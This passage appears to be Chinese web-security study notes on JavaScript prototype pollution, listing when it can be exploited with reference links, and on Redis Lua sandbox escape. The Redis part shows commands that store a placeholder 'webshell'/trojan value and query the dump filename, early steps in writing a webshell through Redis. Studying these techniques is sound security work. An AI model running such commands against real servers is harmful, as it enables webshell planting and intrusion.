``` function Foo(){}; undefined let foo = new Foo(); undefined Foo.prototype == foo.__proto__ true ``` ### 什么时候能被利用 **存在可控的对象键值** 1.常发生在`merge` 等对象递归合并操作 2.对象克隆 3.路径查找属性然后修改属性的时候 ``` https://xz.aliyun.com/t/7025?time__1311=n4%2BxnD0Dy7itGQ%3D47KDsA3r%3D%3DIvwDAK%2B5d4x ``` ``` https://xz.aliyun.com/t/7182?time__1311=n4%2BxnD0Dy737q4YqAKDsA3rxIoxvrDgnDGTID ``` ## redis.lua沙箱逃逸 return redis.call('set','webshell','木马') eval "return redis.call('get','foo')" 0 CONFIG GET dbfilename

相关推荐
向阳逐梦7 分钟前
具身智能机器人学习路线全解析
学习·机器人
想做富婆9 分钟前
python入门:不同进制数据的表示方式,转换;数据类型的转换,隐式类型的转换
开发语言·python
Haoea!31 分钟前
Flink-01学习 介绍Flink及上手小项目之词频统计
大数据·学习·flink
秋‍.39 分钟前
HTTP与HTTPS的区别
网络协议·http·https
大佛拈花3 小时前
Godot学习-创建简单动画
学习·游戏引擎·godot
网络风云3 小时前
Flask(补充内容)配置SSL 证书 实现 HTTPS 服务
python·https·flask·ssl
-曾牛6 小时前
Git完全指南:从入门到精通版本控制 ------- Git仓库创建 (5)
大数据·网络·git·学习·elasticsearch·个人开发
暴力袋鼠哥7 小时前
基于YOLO11的车牌识别分析系统
python
笺上山河梦7 小时前
文件操作(二进制文件)
开发语言·c++·学习·算法
虾球xz9 小时前
游戏引擎学习第221天:(实现多层次过场动画)
c++·学习·游戏引擎